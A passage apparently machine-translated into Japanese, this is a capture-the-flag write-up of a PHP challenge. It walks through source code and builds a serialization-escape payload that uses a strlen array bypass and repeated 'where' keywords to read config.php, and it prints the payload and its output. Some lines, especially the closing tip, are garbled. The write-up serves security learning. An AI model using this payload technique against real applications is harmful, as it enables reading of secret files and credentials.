- 質問テストサイト:任意のファイル読み取り+ phpコード監査の逆シリアル化
- 私は問題を起こす前にそれをdirsearchedしました
- 最初にプロセスを試しました
- 1つ目は、登録ページでアカウントを登録し、次に更新インターフェイスで補足情報を取得し、最後に登録時の情報を含むプロファイルページに戻ります。
- 次に、www.zipで提供されているWebページのソースコードを見てみましょう。
- register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
- ユーザー名とユーザーパスワードを制限する簡単な操作はありません
- update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
- 以下の制限を行いました
- 電話番号は11桁である必要があります
- メールは10個以内の数字と文字@ 10個以内の数字と文字でなければなりません。10個以内の数字と文字
- ニックネームは10桁未満、文字、アンダースコアである必要があります
- ファイルのサイズも制限されています。ファイル名はmd5で暗号化されています。
- 最後に、プロファイル配列がシリアル化されました。これは、トピックのテストポイントの1つである必要があります。
- profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
- ここで逆シリアル化が実行されます。File_get_contents($ profile ['photo'])は$ photoの場所で実行されます。ここでの写真の値がフラグファイルの場合、ファイルの内容を読み取ることができます。
- ユーザークラスとmysqlクラスのキーコードがインターセプトされるclass.phpファイルもあります
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
- 2日前にフィルタリングとデシリアライズを行いました。この質問のテストポイントがデシリアライズエスケープであることは明らかです。
- 次のステップは問題を解決することです
- 私たちが欲しいのは、シリアル化された結果が
a:4:{
s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
- この場合、config.phpファイルのコンテンツが直接読み取られます
- シリアル化を解除するには、電話、メール、ニックナム、写真からの脱出を選択する必要があります
这里就要补充一个知识点了
- if(preg_match( '/ [^ a-zA-Z0-9 _] /'、$ _POST ['nickname'])|| strlen($ _ POST ['nickname'])> 10)
die( '無効なニックネーム');- strlen関数は配列をバイパスできますstrlen(Array())= null
- したがって、ここでは、配列を介して長さの制限をバイパスできます。次に、ペイロードを作成します。
<?php
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['xbx_0d'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
- 操作の結果は次のとおりです。
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
- これが私たちが望む効果です
- したがって、エスケープするためにシリアル化する必要がある部分は
;}s:5:"photo";s:10:"config.php";}
、合計34ビットです。 - そして、上記のフィルター関数は、どこがハッカーに置き換えられているかを示します。これは、もう1つを意味します。
- だから我々は価値のニックネームをアップロードする場合
-wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 次のコードの結果があります
<?php
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'aaaaaaaaaaa';
$a = serialize($profile);
echo $a;
echo "\n替换后\n";
$b = filter($a);
echo $b;
echo "\n反序列化\n";
$c = unserialize($b);
echo serialize($c);
?>
- 運転結果
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
替换后
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
反序列化
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
- 元の写真の値は破棄されます。これは逆シリアル化エスケープの結果です。
- この場合、file_get_contentsはconfig.phpファイルです。
- 旗を見てください
- 総括する
- トピックの焦点は、トピック名のシリアル化です。
- 主に逆シリアル化のエスケープを調査します
- 次に、strlen()関数の配列がバイパスに追加されます
- file_get_contents()はSSRFと見なす必要があります
- チップ:
config.phpにフラグがないのはなぜですか
。しかし、読んだときにフラグがあります。送信した瞬間、この
ばかげた質問www.zipが直接提供されますが、config.phpがそれを意味するわけではありません。使用はあなたのためですconfig.php